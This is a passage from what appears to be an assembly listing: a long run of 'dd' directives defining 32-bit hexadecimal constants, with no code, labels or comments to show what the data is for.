0B3EC8497h, 2B80E52Fh, 92B7AF31h, 6593282Eh, 2CF676BCh dd 0A720F86Eh, 1005EEC1h, 347AC8BFh, 0E6FD6CA3h, 3B62E0D8h dd 0A3C61627h, 2CB213h, 75CF1944h, 99EDC4h, 8C0459B0h dd 9A277F14h, 4AAD9456h, 0BCB853ADh, 0A83C0701h, 1480B9E1h dd 0FD3365E5h, 8C937B00h, 24CE0375h, 27B90E09h, 0AD9271A4h dd 21222A58h, 0D38B1231h, 0D01EB961h, 57DD4AC5h, 49C0735Bh dd 0BD03BB3Ah, 0EB12B54Eh, 9E77B98h, 0D864A69h, 67447C71h dd 20BDBC57h, 604EB523h, 49D34DBFh, 7C490FD9h, 0BD196A5Bh dd 23D5C382h, 9B54C60Dh, 8DBC39F4h, 74A85902h, 0EB619971h dd 963D2EFEh, 0C0A8F329h, 6DCDF01h, 9A99E8Ch, 41F1F30h dd 0E91EF337h, 7BA3B83Bh, 0FB80CF01h, 0C18B448Ch, 0E9B8143Dh dd 12D2D301h, 24B19D0Bh, 95DDC6Ah, 2DBDB516h, 50D93BD2h dd 0C16D95D6h, 0FDF7FFC7h, 99345900h, 2851956Ah, 0D50F8B89h dd 0E992318Fh, 5AECBDC1h, 5C7200D6h, 3876DD79h, 0AB31B356h dd 0A5D5D45Fh, 0A7E9A72Ah, 0A213FFF0h, 0ADBF0285h, 0F544AA19h dd 2F68F5Ch, 3967F5B1h, 0EC7564ADh, 5DBD1097h, 1090252Bh dd 1F1118A4h, 79F3CED8h, 0FF4C6616h, 890FBB04h, 0EE52C7F4h dd 8C4C9780h, 80F7D9BDh, 33E5FBAAh, 0B558BE2Ch, 0C5EB001Eh dd 315F5B6Dh, 1105249Dh, 63024BC2h, 0B7D502D9h, 82169123h dd 0E0652A45h, 972EEDB5h, 37559F3Ah, 66AE00F6h, 0BF0C2751h dd 0CE548402h, 82D1FF37h, 5C26D9A1h, 2FB2719Ah, 0E0B12AE7h dd 1F007A0Dh, 6C2999F3h, 26A2D0Ch, 2770DD5Bh, 0D5710278h dd 0A5F084EBh, 0A940077Ch, 0D82E70h, 0D07E66C5h, 56FECC0h dd 148D0F13h, 0E80034E7h, 3C98E737h, 9F00E34Bh, 0FFFA6720h dd 5AACE45Ah, 0CBCBA850h, 401604BBh, 0E63B53ABh, 301AB210h dd 0A9003595h, 8F4D8916h, 0B555BD23h, 2EF92649h, 41DFE038h dd 2FCF38A5h, 4007F8C8h, 8A7E6110h, 5BA51A97h, 22D770D9h dd 596BD22Fh, 2B698080h, 97CCDC2Dh, 23B35400h, 4349AFF8h dd 0F96328DBh, 0C539F8Ah, 1413478h, 0D830148Fh, 2EFC5D27h dd 870FEF61h, 4C7CE2Ah, 1F69B529h, 60BF9CFEh, 7AE28B5Eh dd 0ED6A611Fh, 0F1A6AA59h, 0A5CBDE25h, 8B69D456h, 2565C6C7h dd 99CC611Dh, 4A21F84Bh, 3C30B0F9h, 70E605FEh, 49D59D23h dd 1301E4E0h, 2E15A18Dh, 2AD99532h, 2A0D112Ch, 2A40E260h dd 6BE80DB8h, 3F32162Eh, 4F13D1C4h, 0A9C4EBE9h, 184E2CAh dd 0A4109C62h, 986A5B0Bh, 0D1218DD1h, 0EE602520h, 997EE14h dd 0A9672FBBh, 25B6703Eh, 0AB54B5B3h, 81D07125h, 0A01E2319h dd 0AD01E9BEh, 8DFB8215h, 3DC60C10h, 0D892199Ch, 0D0F99DE0h dd 0BB09A708h, 9472F882h, 0A8FC1644h, 1E733C32h, 9163BEB2h dd 137D4844h, 70AE235Dh, 0BBDF81E0h, 55627D12h, 292280E2h dd 0E55FB1B0h, 1598921h dd 40A58301h, 0E780FE21h, 62B8FB68h, 244CC20h, 98864BB7h dd 2E41F479h, 0D8BB093Ah, 0D115B73h, 1C1F4600h, 705FE20Ch dd 74FEC401h, 0B92E477Fh, 6AD1F17Eh, 0EEF053A6h, 31036313h dd 7E96D646h, 54B8BC80h, 9976E5Fh, 9983BB8Fh, 57608E87h dd 21433F2Fh, 1E69F400h, 0AB6E4DAEh, 0F7BF9E01h, 0FC29719Bh dd 1085822Ah, 85CA3D56h, 2BB7022Dh, 82ED5DD2h, 0D3D5E9C0h dd 0D990021Eh, 5E70F916h, 0C60EC4C6h, 466EF60h, 46E82A68h dd 975FF344h, 0D7A14336h, 72E02FFFh, 2B56821Fh, 0DE7C7EA7h dd 0A061D305h, 64EC901Bh, 70364487h, 1DC4A54Ah, 186B499Eh dd 13F7A47h, 0CC6D6014h, 33B94136h, 0B7530BB2h, 0C9B9D539h dd 4A372941h, 0FE896DD9h, 6D710885h, 947ABDD1h, 0F888098Eh dd 0F2C425CDh, 7F806ABCh, 0DC0E11B6h, 3227E70Fh, 0DF1F20FCh dd 12D5EFE5h, 0E2474479h, 0D6CA897Eh, 11F4F676h, 1DDC6C02h dd 4087C071h, 8E2B2D46h, 1FBB7B7h, 239DAF6Ch, 348C2A42h dd 5BCDB001h, 0E162612Eh, 605FF51Fh, 8009C8B6h, 73C5204Dh dd 66FBA7B9h, 0EE424659h, 98A66A7Dh, 1FECB30h, 24419B31h dd 3EE1FFBBh, 0BE8055DBh, 131F23A8h, 0DDB8C212h, 4AB88C1Ch dd 529E3AE3h, 6A7AFB04h, 0BC3BA100h, 4A6DFECFh, 0B116C116h dd 21454904h, 66E201BCh, 319D3320h, 5873BC28h, 26D31D86h dd 60F03CA6h, 0A258D59Eh, 1B17C03Eh, 0FD30F0C9h, 6400C923h dd 0A08EDCDh, 0E00B566h, 394770F8h, 4B413F4Dh, 0ABC08460h dd 5E41A88h, 95E868DEh, 4300BEA3h, 0A03D31C8h, 717A5867h dd 619EF55Fh, 61BC011Fh, 0AA322E14h, 0DD38DD15h, 0D97DBE68h dd 0E18E3E04h, 0B6B9DC27h, 32C19D82h, 0D3019514h, 2E90010Bh dd 591E60A2h, 1BB7250Dh, 896B8600h, 18262148h, 5A0B02CBh dd 9095D1BDh, 4B9D2983h, 687E01E1h, 0C8152C82h, 84D65250h dd 0C05FDBEDh, 0A2F7DE2h, 816E7AFFh, 0F51CB90Bh, 5836D280h dd 86129ABBh, 80A71D52h, 8BBADA5Ah, 68207677h, 0A7109B0h dd 0AD2A1655h, 0A62D6087h, 0C901CF3Dh, 0AB0DDCFCh, 3640E837h dd 59BE1BAh, 0F69F911h, 0C142218Bh, 0E95B0024h, 49024F17h dd 0F771DACFh, 0DE9A762Dh, 0BECEBD09h, 5C3A00E7h, 951990DEh dd 0BD15FD04h, 71F9C91Ch, 0D1D0A7FBh, 652FA1B0h, 0BEE4FB31h dd 0B0B70627h, 4E48F000h, 2F0160ACh, 85D4158Dh, 84A38AAh dd 204BA9E7h, 71C22200h, 67911F00h, 8C3A7055h, 80394BF2h dd 0D2E8BFA7h, 962A3817h, 303A0BE8h, 0DEA5A1F6h, 567CBB35h dd 0B2A7E65Fh, 0E5F6301Ch, 5602B1E0h, 4ADAE448h, 896A60F9h dd 48C7B531h, 1313B03Ch, 90A9E7h, 0F572C3Ah, 0C43CC39Dh dd 82298A3Ch, 5E46696Ch, 627F4884h, 12B1A15Fh, 64F59C10h dd 386BC700h, 0BE49701Ah, 416F01C8h, 0EBA011B0h, 741750A1h dd 7E0002C4h, 1B55C854h, 0F0DC037h, 7A5F0C47h, 0E8248B4Fh dd 39444010h, 9AC61Ch, 4732E6Dh, 99BA590Eh, 251AE707h dd 8B155B5Fh, 30B78847h, 4C325769h, 0FF21687Eh, 585F5205h dd 30B972FDh, 3414AEFEh, 2CDD85B4h, 8D921079h, 0F780D32Ah dd 88C1849Ah, 4DBC8104h, 61C276A4h, 817DD6BDh, 0B350905Bh dd 0ADCD297h, 0A00D4BDCh, 618A0C17h, 0A62A23C1h, 3317F25Ah dd 5F51CE98h, 9737DE5h, 0ED615B1Fh, 0ECA0C053h, 543F704Fh dd 0E38BCBEAh, 33C5F925h, 74254D1Ch, 0E907F4DBh, 0B271FFB7h dd 56CD6FD0h, 6A53953Ch, 2E969F8h, 0BD981E4Bh, 7A1D8E93h dd 0A2232D7h, 6D09768Bh, 474C06h, 422C9774h, 5613F33Dh dd 9D282A12h, 0A4880FF2h, 0C10EEDA5h, 3AE988B9h, 792ED3E1h dd 0C02E0F2Dh, 2EF6FD4Ah, 98AC4B86h, 65319D45h, 0C5BDC526h dd 61177D73h, 0F24FF61Fh, 7FB13114h, 5BB83C34h, 4C9C04D6h dd 4A83B8B4h, 0E0C1049Eh, 2BEA1979h, 0E176BE9Dh, 1363D5A0h dd 76FF8604h, 92E87EEAh, 9B33DA80h, 0CD008C6Bh, 0E4BDDB25h dd 0EE46F9h, 0A25EBC9Ch, 96BB5662h, 0F08B600Bh, 0F02F5F61h dd 0B2B4B632h, 0BA9D301Ch, 0FD9CE500h, 5E0AD0E8h, 0C81340Fh dd 4230BF25h, 0FF619509h, 0E1858204h, 3A972778h, 0D9B57F78h dd 9EF31201h, 0CE6EF546h, 0E7C709F0h, 89DA0228h, 58315AB5h dd 0B8D38A5Fh, 0D37D808Eh, 3D32AC66h, 2681BA43h, 0A3F827CDh dd 0C9DA6A5Bh, 0F4C017C8h, 0B46E2C83h, 770A09C1h, 3D97A378h dd 0C87B8063h, 0B3C95CA2h, 10690627h, 5B1EC1Fh, 8C085FEAh dd 4B9FE8D8h, 4E3AA98h, 2BDB5E27h, 0E5FF3F9h, 0D265BD31h dd 0A95A85F6h, 5B3BA879h, 1798B62Ch, 0E7208185h, 8223059Dh dd 0C625965Ch, 78DF8674h, 1EB8196Ch, 14C13EAFh, 0A39249B9h dd 0B50909AAh, 97AC70F9h, 3CD097DBh, 5B7D7265h, 449F0494h dd 291F81A5h, 0D78A2E1Ch, 2FA9BD09h, 0BDD9167Dh, 3F40814Dh dd 1230C8Bh, 6EE177E3h, 6CF8D157h, 0C220206Ah, 96750393h dd 600008C6h, 0D6403CDFh, 1753D318h, 0EBFD8D2Fh, 3356F617h dd 0FC0047A2h, 7F55846Eh, 4800A6BEh, 0F3C589BBh, 95965B17h dd 7F045D37h, 2B80623Bh, 4D462DCEh, 1BB83071h, 9E03058Ch dd 0C2A20F56h, 0EF821907h, 0BAD51CA5h, 0A6985DE7h, 0EA9DBD0Bh dd 51AB5C74h, 94301520h, 57A2EA2h, 13495F31h, 120AF750h dd 96F10E2Ah, 595995CCh, 16E8412Ch, 0D55C128Ch, 2163B028h dd 94DE6EB5h, 507B2551h, 7F47C2A5h, 6283CF37h, 88CBD5D1h dd 97D70FB1h, 7D4A3A94h, 5DB094A7h, 7D04B603h, 9A4179F8h dd 78288CAFh, 628B5501h, 5AC534E5h, 6A878338h, 1936A140h dd 73C03E79h, 0E5BA1A3h, 0F1BD235Fh, 0D57DF212h, 0B5ACADh dd 6390A885h, 69BEF85Ch, 4BC67025h, 5701F22Bh, 0D280E61Eh dd 0E9801435h, 0FFF238CEh, 271051ADh, 2F166E49h, 140B56BEh dd 0E2E4C1h, 0E9ED14AAh, 0BD522257h, 0F0269527h, 5B064073h dd 59815B95h, 0D71819h, 231420F6h, 9BD896Bh, 1349215Eh dd 0BCD550D8h, 5800DC41h, 2698E179h, 41BEC0Ch, 8501FA4Ch dd 0F448CA9h, 6058022h, 0F34E62BBh, 8B5B1A64h, 0E66196E2h dd 0DAFEB5E2h, 0C00AED7Dh, 6DE5AB9h, 6045AE17h, 0A504F184h dd 61092A75h, 0CD973378h, 2175C936h, 40FA8EE0h, 0D275F942h dd 9F97B0ADh, 0ED81F8E1h, 7E883A50h, 0B5F9BDD7h, 1ABC7882h dd 5982E2ECh, 5BDF8580h, 0C0F09B90h, 8CCAE837h, 4EDF16E2h dd 0BE8313D9h, 6AFCEC45h, 0C0159BEAh, 0D8B6A48Dh, 0A6CC04FDh dd 0FF6A383Eh, 0ABE06730h, 0F3E71DF8h, 0AED901DDh, 0C1BD9F56h dd 73322F19h, 6C505EF9h, 0FF25D9EEh, 70D27BD1h, 94974B59h dd 387A4545h, 66080FBh, 1C9B448h, 3058EC7Bh, 2BCB375Ch dd 27025183h, 0C542FB88h, 8088BDFFh, 325F5423h, 0A80C30C4h dd 2111E815h, 5561000Eh, 0B7FE594Ah, 7B07AFFAh, 1F84685Ah dd 66F21BB2h, 0D5F92E02h, 1A830075h, 45048049h, 7136E6BDh dd 1EF55D5Bh, 0AEEEBB80h, 0E91239E4h, 0DF20E6Bh, 1DB5ECC4h dd 5DCC381h, 456614F8h, 0BB3F27F0h, 3524BA97h, 6C418797h dd 0CAC03E2Ch, 0F98B6491h, 0B5DB8012h, 959013B0h, 6841B8B1h dd 2BC11FCAh, 0DBCB8084h, 0BE9205BCh, 0F825C27Ah, 5B9F1BE6h dd 0F57278A3h, 0E291DA25h, 0CB735534h, 454BCD0h, 0E14682C6h dd 3D2EC1EFh, 0FF51922Dh, 0C80519Bh, 7453DB4h, 5009CF80h dd 0B8FEB3C4h, 0D312D1Ah, 0FDD22453h, 429CD84Eh, 76E4722Dh dd 29992589h, 0F7516556h, 0A3F847ADh, 16B0E3CEh, 0FDC1EA00h dd 61E654BAh, 0E4DAA870h dd 0BA346B71h, 0D4229AB9h, 3D9D0B13h, 0F3817540h, 4B294E31h dd 5B93C71Eh, 49D40E8Eh, 0BD15A512h, 2FBCB3Ah, 2008E9C6h dd 0EF91D740h, 74A3ECF5h, 0F788A097h, 2D381E2h, 16794CB4h dd 0AB80C82Bh, 8B3AF2C7h, 0F380D102h, 0A206E9A1h, 0E4183D71h dd 0E9D204Dh, 0EBF8234Bh, 8A88E092h, 220AFD6Bh, 57316523h dd 14231F99h, 0CC8027B8h, 3594B863h, 428D9200h, 0ED918514h dd 47E934E4h, 0C356A825h, 9D1D9D29h, 2AC18AABh, 0B5125785h dd 1EBD2261h, 0A8BC2088h, 0FE3F1BA5h, 698DA550h, 0EAA05B0Fh dd 0F1F4F76Fh, 0EE59530h, 0FE38ED04h, 1F46FEEh, 0F5EE9174h dd 86E6236Eh, 0C1739594h, 0CD852950h, 0D510AC17h, 55247D09h dd 0B75D45BAh, 0B97B0486h, 2591048Ah, 957251Eh, 0DC8ED6B1h dd 4AB7CE0Eh, 0C20961A3h, 0F4309A06h, 0C5608904h, 0E25EC661h dd 3B49D02Dh, 6E4FCE06h, 0C7EB017Dh, 0F5C5E8B8h, 6100ACDh dd 0B601FC9Bh, 3D0352C0h, 643FB14Ah, 8462FC9Ch, 0DFEAB85Bh dd 0FC881ADh, 71420E8Fh, 18D1858Bh, 42DE24EBh, 0D22B61ADh dd 2A0D5FE0h, 81D1CDB5h, 0A98D31F5h, 0DC642F06h, 0F9522380h dd 12284FB8h, 0F47BEE57h, 0A6C8AF00h, 81418B22h, 0D49DB09h dd 0BB97B6Dh, 955CBFB7h, 4AB5955Eh, 113E3100h, 16CEBF46h dd 40806A0h, 0AA5C7E86h, 354338DEh, 16E13F7h, 0FABDBA2Dh dd 890F3955h, 1B888CFh, 16B00E8Ah, 8CECC0F9h, 4FCF9302h dd 0D7FCB21Dh, 28A19C35h, 0F25B8380h, 970DAEDEh, 8120616Eh dd 0E1FF2627h, 1C250955h, 5BC46B79h, 0E6511257h, 0D5F99243h dd 4D196FB8h, 2A06025h, 16F61E15h, 0AD31AA81h, 8B6B0CB1h dd 0A1F122BBh, 6EA4EF01h, 2F02107Ah, 0C204CD60h, 0F98572B9h dd 9DB3A4FDh, 4BF4854Dh, 60B26484h, 5F38D602h, 585EE236h dd 0FEB55525h, 22C6F480h, 0E70BDBEBh, 482F1ED5h, 0B7893A73h dd 11E45BFAh, 4F860708h, 0A2D11E6Ah, 9D6BE333h, 0A36A7AB8h dd 8F30A100h, 0C515D8Dh, 0F617F0B0h, 0FBB609h, 0CEF94F87h dd 109F9006h, 0DBD88h, 0A65B4762h, 5802E683h, 4B13F602h dd 5E50D428h, 106447D2h, 1002EE54h, 1BC8EA09h, 70DE5390h dd 0A509ED58h, 5D95016Dh, 0E36AFFA5h, 0FCDF0260h, 4C06AC1Ah dd 0B5310B7Fh, 0CFD60E15h, 5C276142h, 84507234h, 4981BBE5h dd 0E7831634h, 26106726h, 0F466BC12h, 130B4301h, 3E3800Eh dd 0B969572Bh, 1234E8B4h, 0ABF8EAB0h, 20096462h, 9C4F68CBh dd 0B91FA0E4h, 0C1962471h, 0FB82F2B8h, 0A97FBD0Bh, 5498710Fh dd 2F74AE00h, 23E97164h, 0C0895B2Eh, 547CEF0Ah, 0D1979A97h dd 2DCAA044h, 277B261Dh, 98DB7A5h, 0EE5EF2F0h, 0BCF70812h dd 38E7C85Eh, 63BFFE95h, 0E9F8ACA4h, 0F2A05FF8h, 22907D3Dh dd 0C4DF6DBDh, 8712AF28h, 236B6BAAh, 0B0DF001Ah, 0FC7236EFh dd 78823F4Eh, 90B2D721h, 7C5040D3h, 4A957333h, 59885B9h dd 0FE07551Fh, 9087F652h, 80033759h, 6BB8E070h, 0D10AC04Bh dd 0C9B1B52Bh, 91BCA116h, 0FBC8AFA4h, 30E3004Eh, 7CDDCFF1h dd 92031221h, 0DA5D4C54h, 3918F8BBh, 0C5B7268h, 0B28A4120h dd 0E095D8A6h, 28C2DF60h, 25DE4D94h, 76E26743h, 840B3DFFh dd 0BFFA9AF5h, 0F4BD93C3h, 0E2B35F0Fh, 178E076Ah, 34A05B49h dd 2D0B9406h, 58FCD832h, 80A9C069h, 0F6B949C7h, 5B61BB99h dd 0B60EC0B0h, 463F092h, 3205BEFCh, 0B43FBC02h, 0E7DF4C1h dd 8D88B32Ah, 6E7E274Ch, 26310030h, 0F9E9775Bh, 0C9021DD1h dd 0AA3D9369h, 524E87Bh, 28F10944h, 4A774B5Eh, 1216DE2Eh dd 83A6599Fh, 2F34AAE1h, 88B85F28h, 0F6A5D0B3h, 4AF8A99Fh dd 5D6EAAh, 0ECB22988h, 16221741h, 0C5798492h, 0AC54FDD7h dd 88168C16h, 0E2B99174h, 7511818Eh, 2626C771h, 0B5097EA1h dd 0F6225E8Ah, 470498B2h, 44395C32h, 6C6D20BEh, 0A00F2EFh dd 2B5B7A78h, 711B67A7h, 0ABBF2739h, 2A5F2F41h, 14B2AFB6h dd 13FBFD33h, 0F2EFCDD4h, 60266077h, 2CB60BBBh, 54197193h dd 90BD2BE3h, 16407C81h, 73F12E5Eh, 6E4BB87Ch, 2D7F07C2h dd 23C0B628h, 0B009F51Bh, 2AFD4530h, 17234A6Bh, 2C3D0501h dd 8348E820h, 0F6CF00C4h, 1B49D7C8h, 285861CBh, 0F09C2678h dd 7E9E9B00h, 9E5F35D8h, 0DD4B38D7h, 80BC6C7Dh, 7FD65187h dd 0FFF30149h, 36045B5Dh, 25A0EDA9h, 0D87B2E16h, 1611AE0Fh dd 1F9902C0h, 309FA09h, 5720559Dh, 16911037h, 13F42982h dd 4A8D84FDh, 0AF9237BCh, 0E1878E9Bh, 3266D092h, 0C778CA25h dd 77A71E4Ch, 1A2B0F40h, 0BE0305BDh, 81800A71h, 50A251E3h dd 9E7EC38h, 71F2195Dh, 3B06778h, 0B73A0997h, 1A998055h dd 9A483CA7h, 0B1B6DF09h, 0D6D35E0Ch, 8B121546h, 39550554h dd 7675AF01h, 75E03CB6h, 9A07AE95h, 14D20C5h, 0B817087Fh dd 11B9293Fh, 0ADE48BC8h, 2550A8FFh, 0E0638319h, 6D7F4AA2h dd 79B06B5Eh, 0F6B09A6Ah, 2618FD20h, 1336096h, 7DB9E9BAh dd 0C930313Bh, 4C37B88Ch, 0D78A131Dh, 4ED872B4h, 92D59B96h dd 0F0BBC4EAh, 65B71496h, 0EE7D7068h, 5E758904h, 52802639h dd 12844A54h, 0F6C5B773h, 6B862868h, 4A621497h, 0ECC0BD42h dd 0FED90328h, 0DB02D37h, 2F5072A1h, 0E1888h, 1B6EBD75h dd 0EF368256h, 0DEBC1C0Bh, 768D09F0h, 5BB93A3h, 65430A15h dd 0CBADF88Bh, 5AA54360h, 0E37C12D1h, 80305F70h, 1485DF81h dd 2833CC08h, 57C3009Fh, 31476BF7h, 5958D24h, 0C485CD25h dd 5D7F6016h, 809497DBh, 97E7484Eh, 3BDC41B1h, 0AE814634h dd 742F2EFDh, 7EEB260h, 6C81D8EAh, 92EFD91Bh, 0BB4CF05Bh dd 0DEDAD009h, 694B7921h, 2A0060D9h, 195A324Dh, 2E695h dd 7C34D644h, 47D36C2Eh, 98E22234h, 0C79628BEh, 5EB8BD00h dd 719E64C6h, 0D9EA0403h, 0BCAFE95Bh, 59B4A73h, 494DCB80h dd 20173DB1h, 76800355h, 5E8BB5B6h, 16E1C2C1h, 3A3B957h dd 8A0DB9F0h, 28537957h, 252B98FCh, 87FE0595h, 0F6085C6Bh dd 8ACF9B31h, 0B33A1EA5h, 0E3602D36h, 0F4E9EA0Eh, 24611F04h dd 0F030F40Ah, 0C688E4E8h, 0D0F2BBFEh, 0AF023642h, 0CA3B6787h dd 117411Dh, 844B7E7Ch, 0C26EBE7Bh, 0FD98A025h, 0EB0F7922h dd 616E9B88h, 0B860D992h, 11D699E4h, 96FFA77h, 7FF8B70Fh dd 68CB0D12h, 80F39EC5h, 0A502D5FEh, 1247788Ch, 0BD2FAE50h dd 8C14ACA5h, 0E8F0FC5Eh, 0A3E59534h, 7B59C2A3h, 0FF87986Eh dd 6CB6D15Eh, 0FF4281E5h, 6BA67E64h, 25BD851Ch, 9FC4C679h dd 1280F9DFh, 1F055D19h, 2513C538h, 8192E09Fh, 94C013EFh dd 0D5ECBC90h, 0CB8E09h, 757DF527h, 25FB00EAh, 7871A5F9h dd 0C512078Bh, 6EEF904Bh, 0F3660067h, 0E9256B92h, 0D7811D5Fh dd 2EF05F97h, 81D4491Dh, 87C982F4h, 2C8B9E0h, 790BBB66h dd 808CD75h, 5225C692h, 6EDA5E1Eh, 7FFC4F81h, 123E4081h dd 0F6046A59h, 0B0BC307Ch, 1E0130D3h, 27020157h, 5BFA8B3Ch dd 8A5E7490h, 16CD83B3h, 4929CC87h, 66AC115Ah, 0B32A5E1h dd 25EB6E5Fh, 0EB575C46h, 0CD70DA7Bh, 2445769Ch, 1132A039h dd 90B65A0Ch, 352E7B58h, 251542B2h, 0FE4B27D2h, 415131D8h dd 89EF0101h, 31202F17h, 20941CD7h, 0B32705F3h, 319356F9h dd 2F10DF1Ah, 43302F4Dh, 0F4022E60h, 0AD064E35h, 533DC08Dh dd 2A6B8111h, 10C0562h, 0F0FF30B1h, 2B6E3956h, 202BBBD9h dd 7A356CE1h, 77CDF600h, 4A6B691Bh, 0DF012C9Fh, 45FA287Eh dd 69D5E202h, 8F44608Ah dd 59500C02h, 3E4C5E61h, 90E2DAh, 1E5A79D3h, 1D42A4D9h dd 0C0FE8E05h, 0AC131155h, 0E52A8669h, 43004590h, 0CDC2A6E8h dd 9D4F350Bh, 6105B3D1h, 8E00C82Bh, 5982E3F1h, 29D1048Bh dd 0FE2EF985h, 243FCAD9h, 0EE32FA95h, 0AC6979F9h, 213D086Fh dd 9EF78005h, 30AE4B85h, 5E0385C6h, 7FA6BF00h, 6ED57299h dd 0D24700C3h, 0C2E2C11Eh, 28B0E0B1h, 7920392Dh, 0D24B38C6h dd 0D91196h, 4888E9ADh, 0B8666010h, 618C7517h, 8C2735AFh dd 0BB00F776h, 34A6B2EBh, 2517A48Ch, 88E45D0Fh, 84882345h dd 0A83F0B31h, 0FE4825A5h, 0EDD30D27h, 7800847Eh, 4B69BD09h dd 108BCA0Ah, 0B9924352h, 1C1CA839h, 64996497h, 0AEF9E41Ah dd 0F403E6h, 0B22064EAh, 0E612505Dh, 24AE7281h, 0E819E9DCh dd 674A0EE3h, 102057C4h, 81F9BBA9h, 0DF22E701h, 0AFB91C21h dd 203F2325h, 5A3E0FCh, 7A4837E2h, 1C0AC072h, 0E6C909h dd 190201B8h, 94A6122Dh, 0DC176B01h, 5B5610DEh, 0A6A2172Fh dd 0AAF2E03Dh, 0D05C12BBh, 20DBECBEh, 0EC59F418h, 0FC42094Ch dd 9845820Fh, 9AF3800h, 47887EAh, 0F63173D1h, 0DF9AEA8Ah dd 8FC01488h, 4F39B501h, 0A55E431Eh, 2BD9BEFBh, 0F66E6BD2h dd 69EE1D03h, 77F1FD40h, 51C87F68h, 5CBA009Ah, 8A4D7221h dd 0C84E6E58h, 16FC76B9h, 7B93028Ch, 55D380BEh, 99D1BEC0h dd 0E8090790h, 6D0E9C96h, 0A440CE2Ah, 0D50E4830h, 716D9225h dd 0FB8317DBh, 9862Ch, 0BEED93CAh, 2D699D33h, 2D046597h dd 8A127635h, 0B429BDB0h, 9A57EB3Ah, 6CE87509h, 24C891FCh dd 0A36193B1h, 71986230h, 0E9175D21h, 0C6DF8082h, 0C541D550h dd 14283A5Fh, 6B38836h, 0A3DFB84Fh, 0CC29B78Eh, 58A7E079h dd 0B60197E1h, 0F3525B5h, 80001F22h, 75BF46CFh, 9743A1F3h dd 252DBB94h, 703D04h, 90840B76h, 0EB5A544Fh, 4C0FC8h dd 7A0FBEA6h, 5A1D2718h, 9B74FA01h, 2EE5BD31h, 35318E2Eh dd 0C0037FA9h, 0FD752448h, 41BFE400h, 918B0F0Bh, 0E2521238h dd 88300746h, 3230BC26h, 4B03D9C7h, 0BBAFC55Fh, 75024F6Eh dd 4D47346Fh, 0BF01C55Eh, 0BA737EBh, 29A6472Fh, 375D0B01h dd 0DDC7800Bh, 0C5D42F64h, 9D0B3A09h, 56412BE9h, 1846D671h dd 0EE683400h, 816029CEh, 0AF5CE004h, 81836C45h, 0E652DC8Dh dd 301BB2EDh, 262CE23Dh, 243A1CB6h, 0DE139E03h, 7BEDB9BDh dd 4469DAF6h, 0BBC0004Dh, 4AA9C3Ch, 287764A5h, 0A6B240h dd 7FA13104h, 3B8EE6Ah, 409CB2F9h, 0E6E80BF6h, 68019D0Dh dd 3895A951h, 802EDF8Bh, 8AAAAE9Bh, 0D7C7DCF3h, 3FAF3312h dd 2B05BAB3h, 4925C99Dh, 9979FEE1h, 129D6BA8h, 0A1DA82ECh dd 0EDE90414h, 0BD2304F9h, 95BD2F8Dh, 0A29F0D2h, 0E4244DB7h dd 0FB596019h, 14291282h, 2D55ECBAh, 0C92B56F8h, 57371A77h dd 3C422ABAh, 293930DDh, 1E59258Dh, 0ED9D19ECh, 38C2412Eh dd 65E4E8EBh, 11D84BFh, 58BB9600h, 5F174064h, 2A15750h dd 67B9FCDAh, 12E40092h, 6B1D0A97h, 0E5EC5B7Dh, 2A319D04h dd 0C89ADBABh, 0DBA4C01Ah, 0EB24B412h, 84021005h, 7527598Bh dd 0E0578CE2h, 9761CB91h, 7B0BB56Ch, 4D274688h, 0E139C40Ah dd 2E83215Ah, 15BF3830h, 56D22743h, 6D60BC56h, 0B4442DDh dd 97E74C96h, 1D834F02h, 0BB4E5Fh, 25DF5F57h, 614A0D15h dd 2499F900h, 5B73FD3h, 0ACEC4FE1h, 905BC5F4h, 0C0E1EBA6h dd 4A902633h, 0E3066420h, 2F4600E8h, 8FB77926h, 1503E72Ah dd 104F0CD7h, 0F361F2B1h, 5A637028h, 77BC404Bh, 0B73A9A55h dd 3219B202h, 25E04055h, 282EEB46h, 0CFBF4E82h, 0F5D9608Fh dd 0E9382FFFh, 80DE4F45h, 0FFE08D80h, 60B822BBh, 2515C3Bh dd 3C2D73C5h, 777A5E5Bh, 71D6CF48h, 7AAF0953h, 556A5B8h dd 0B76C892Dh, 88F38020h, 0AA5C9513h, 78CE518h, 0B515DD54h dd 0A02CFEE7h, 6F6F12Ch, 0DCF78012h, 54E4A09h, 0F334A98Eh dd 9712BB57h, 38B729FEh, 4D178010h, 2586E2DDh, 7FE6F3E8h dd 0F99D3109h, 6D96D51Dh, 9DD48D96h, 0C62512D9h, 0BD564F5Eh dd 52F9C89Dh, 67DBE7C0h, 0D5329297h, 180630B7h, 0E04EA84Dh dd 82319598h, 0AB27F8Bh, 0F73CC480h, 500EEE1h, 50911EE2h dd 29A11AAh, 0E4D4B05Eh, 0BA5718B6h, 504F5386h, 0CF2580D9h dd 700D7465h, 9B002993h, 8C8BBFD9h, 4B2831EDh, 0EEFB954Ah dd 0EC97C8DEh, 8951C3CCh, 0F7D6A59Dh, 0C4862F3Ah, 55D87E73h dd 307B4BA1h, 459D03B5h, 50F20F4Ah, 0BBE7C44Ah, 8A0F786Eh dd 35E2701Fh, 0E45C1382h, 1F1D46D6h, 8B008DD4h, 51F274D3h dd 29A1049Bh, 0AE0F6D95h, 4B81562Ch, 4EF88B1Fh, 5EA192A6h dd 70176E37h, 9F3CB8C1h, 0FA144AB2h, 2DC54575h, 3ED4B3A9h dd 83C8D1E5h, 65909F60h, 1D00AD68h, 0ACE58AD8h, 0BD4193Bh dd 51CB2B9Fh, 0DC00A259h, 0B841483h, 878007C2h, 91A9D3EEh dd 70FE583Ah, 611EF8FAh, 9C86BB50h, 0C0660192h, 0F965D8AEh dd 8D198B1Ch, 61821129h, 39B5DC2Bh, 0E6B63AF7h, 923017F2h dd 0BB69244Bh, 0E09004E3h, 0A3B5B8F5h, 0A9304F41h, 6B19BC53h dd 53F6B4FCh, 5AC99693h, 970DD0h, 0DE3CDD0Fh, 1E904D70h dd 7D133774h, 0FBAC15Dh, 689B54Dh, 18793F7Bh, 0A624B718h dd 94319467h, 0E63A0AD5h, 311CF218h, 4A2DF0FBh, 0E513EEFEh dd 51C0AD48h, 0EEBF5BFEh, 5CB325B1h, 0DF04ECCCh, 3D7DC008h dd 40D0E6B9h, 71A23FFDh, 927D351Ch, 0EDB70F81h, 0F5CFD316h dd 318EABA5h, 63D532Dh, 0AFE8DABBh, 5E4EE74Ah, 2DA0E0A6h dd 0AF0A5433h, 9F11BB35h, 0E8C6DB0Bh, 951641EDh, 5569347Bh dd 5527C3B5h, 800FEFA2h, 0E98B2EF1h, 0F9D5E05h, 4709BB66h dd 2F4ED770h, 0B9D6FDACh, 7230A8D7h, 